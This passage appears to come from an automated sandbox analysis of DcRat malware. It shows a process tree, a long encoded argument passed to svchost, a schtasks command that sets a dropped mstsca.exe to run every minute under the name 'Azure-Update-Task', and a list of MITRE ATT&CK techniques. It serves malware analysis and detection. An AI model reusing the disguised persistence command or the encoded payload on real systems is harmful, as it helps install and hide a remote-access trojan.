C:\Windows\System32\svchost.exe hfskhxmdoncbxhsb 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeX3kmtnE+A4/kpTs4bYyWrp/wFgbmXbsWjqh9oZ/M1b/FdNAlai2lZwJELqU72k+KI4FtoW5TMu6H23luli1wf6I7pu0SzW3Tj73Pjvsw7HSZV2tnuQ8sojipYC3GN3oEAkalK7UPatNIhplo7T6SOtcYad1Qs77navRkL3p2GZJ5VInmajAf/RsZFWvMtOi49x108jSO1zTsXbXgmMNlPbUrKjA2oYsEgpJazS3ZDJAGmClcDqJCSqwjjC493T8HsLpGXStaEGgC9/KHBykYmyKXJWVpqBCXZHxhDkiby7jruWwWa0vpzUekzqkZqGwnp71uTU7F7gpWfAuInQMHvYsKSqZJ4ZrwqC2ZBAeePSLf6piwVyDqnkjd+0+5jmfLE8b0dPPWnE958qeML3wS4KzKVjsAvvLwV3n3YFx27BFFJTpEfGBZCVZo5slabHJ3kRhUMcsEk62ykL30B21raMloiwhu2x5jZpdu6ptc4l7a5ns3Vua07XM33EXAEmFY2aqxlqDHC5BZ70BuqWLHvhbK2LgkK5p/Xg7NOqHeEtK5Ubrc8ajVg+XCgXsfVxWjlremzhUugs9Y6p4IpeUnaYAnrKxOGn4s1Zfbv+HYzVT/y2xM/nq6G6qXnjzWna/TFXFJ4hjtJP8rlqqGMpuTf2XZnAUxC+odUWKO3DMWNeDhN9nr6NzXALo2MXAcH5MZVlWyEWLTgaZHfHaqwXtNLImo2L/0pREVDnKxc7VvPAZcgVJK7ScKi0B+1xxAKCXmfG2isJSEvvQMPa8QHis2xGW/aBj/n7yTrVx9/Baz4D6O7fG+xSL+6yZlMlfEpnlEqOj4LqcDTYXnMsvGONJiqwY4QBKG11zoeKp0LhZGw0AeoKgDRsLMqBfqKTD1VHta0DKauKXxpdCRkkVC6Bd9zrx5qUkSKgt25zIyYLmBWsqkghh6eN+LYcphIB3jjhxdoFDleGlsag8D1ZdZL/bQ2+y4etWPYF2yu2wS8TJCnEM/E+58i4gY8XY8x8cQSnWHz36EQq6uCYbIgh/UY60BNWdAci2qeMAQ2Jnzmn6bMXb41pWTdh+xMtGuWHKDTicdCUSyPanZM35RI+qRBv3pOKQRrVr9Z98s826+3L7ErC15V+Pmor9PnEno9H0RpU3/Aj07/sdKSS8IQ4GNYUhRuHPtLe0Esvqi0VJKAuve5W9q9dVVoN4oaHyl4m/CXY5HiQdsf+XyL84XpMEpmGtuSHEi4nP1DZh6S6JwAp2rlyOeuHzk4ATfU6tIbZZl4JO/EhlYGP01grfWXfKALoYH4XW+B8ujwEp8FnWX+4FGugXL9Te07xCQPyD0uD9CDjXrucMQUPrV47rvgNQ+fG5bBdjtD4BBnPt+BMWpaeisLIndArUTxax2PMmh0u/LxUk48zticBsEDnEf0BZtBLIlvErippog15oi3FUPy8hxbGGb4I/kfTVTkMYUbjbEhQk1xPx48/Z5z8aPH5l7PwEJ3yWPnQIXJNbPGj+Y4yaNrXicuTLOU/RURcETfvkkGx9qt165n/H3eMS42wpGLpfo+9fLcyTjqow3asA0wi+ZrLrFKTkhNHhhc0gLTS30Z45XbgyhPQODvRYx1er+sdsZpMntAeZtoNiuKYXCpyFz9RU+m2K12GmGA0lmnUQPDjego/AZYLxQp3jjx5/vT0Z68AWucfOMvXxGitFBB1bAGU8B78Za/ZIMzxKAfg5aYW95vrp/E/4Fx/PZK7oXoemG8dWuzIcizvOVgXXqnnV5rBVA3EI374dfSTR8lSukJUOeknRzYAYIArYPln4OnhAOHiUzzqYfiK7v/VGomE9JKzgDv4g2kcqsN6PRPeFcLhBbv6KkgsbOrz/RjqlDcF7AHtIuRkDn+YIh7flp/kpILQVZkgUzuo5rvV9WGPgcDevxijjdTITnU30GQGlHUbAoHCrw1ieVVtvdLexq2af6XgmHCu4WH7/5ZMF/bAApfCRQ/6vIfNQWOEvNnoSmMqu2KPCfnaToC3+XHCW3tcdWNTR1N/l+6gJKlFFuPqx3fRvToK6YFKr7Ln3y7r6DfjTu7aoR3eZ6MpFm2uH/QhCnp4t8FmWae/pjJ1mCmaPvjKbXOy754C0wUY75Rk5dPOW5OV7FUH973Lt6bUmWWZzUqo5EIM4g8dZ3F8T0vLdh4SPGHiTKciwwlAloDiFNzwC7U+Nx0FkZzqKwSYiBF/jeVprrARJ8czizBuuMidAQnacpjJhhYuoTAUioE9pliSyjgtI4HW9q95TCsFi0Ow2BqsMsAwNiv05VFrQKrL5WYMeaMEqCSJCLr6j0ZD6CsezvOgFsc+ZyWc2Konpxr2SM7I4nt2Dv2kEqobkwzj8NN0+52NqLQRinaLR9EpvdgGYZeZtR41v+DY50dPTOmJLLj7tTkMc2+Kg19CJpIGk6VqE+3hH/TnOjkhfZuVPmLB6AW3jPb59YWpqVmhUKlFEUmX8qo+LS584OQ1AgMqOuPbB2JPaRd+lnIBrsdYn141ejE5qxlHMkUVHWo2uSGSu9CEWxq6ulv/QJ4OoddmZNvgofzJsHXxK/61JoCg0w2YP112mQYjgbBrwzqP0OAVtdYvY=
2⤵
PID:944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4324 -ip 4324
1⤵
PID:4848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1468 -ip 1468
1⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5036 -ip 5036
1⤵
PID:3404

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1892

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:1236

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- DcRat
- Creates scheduled task(s)
PID:3092

C:\Program Files\Windows\WindowsHost
"C:\Program Files\Windows\WindowsHost"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:1648

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Impair Defenses

T1562

File Permissions Modification

T1222

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery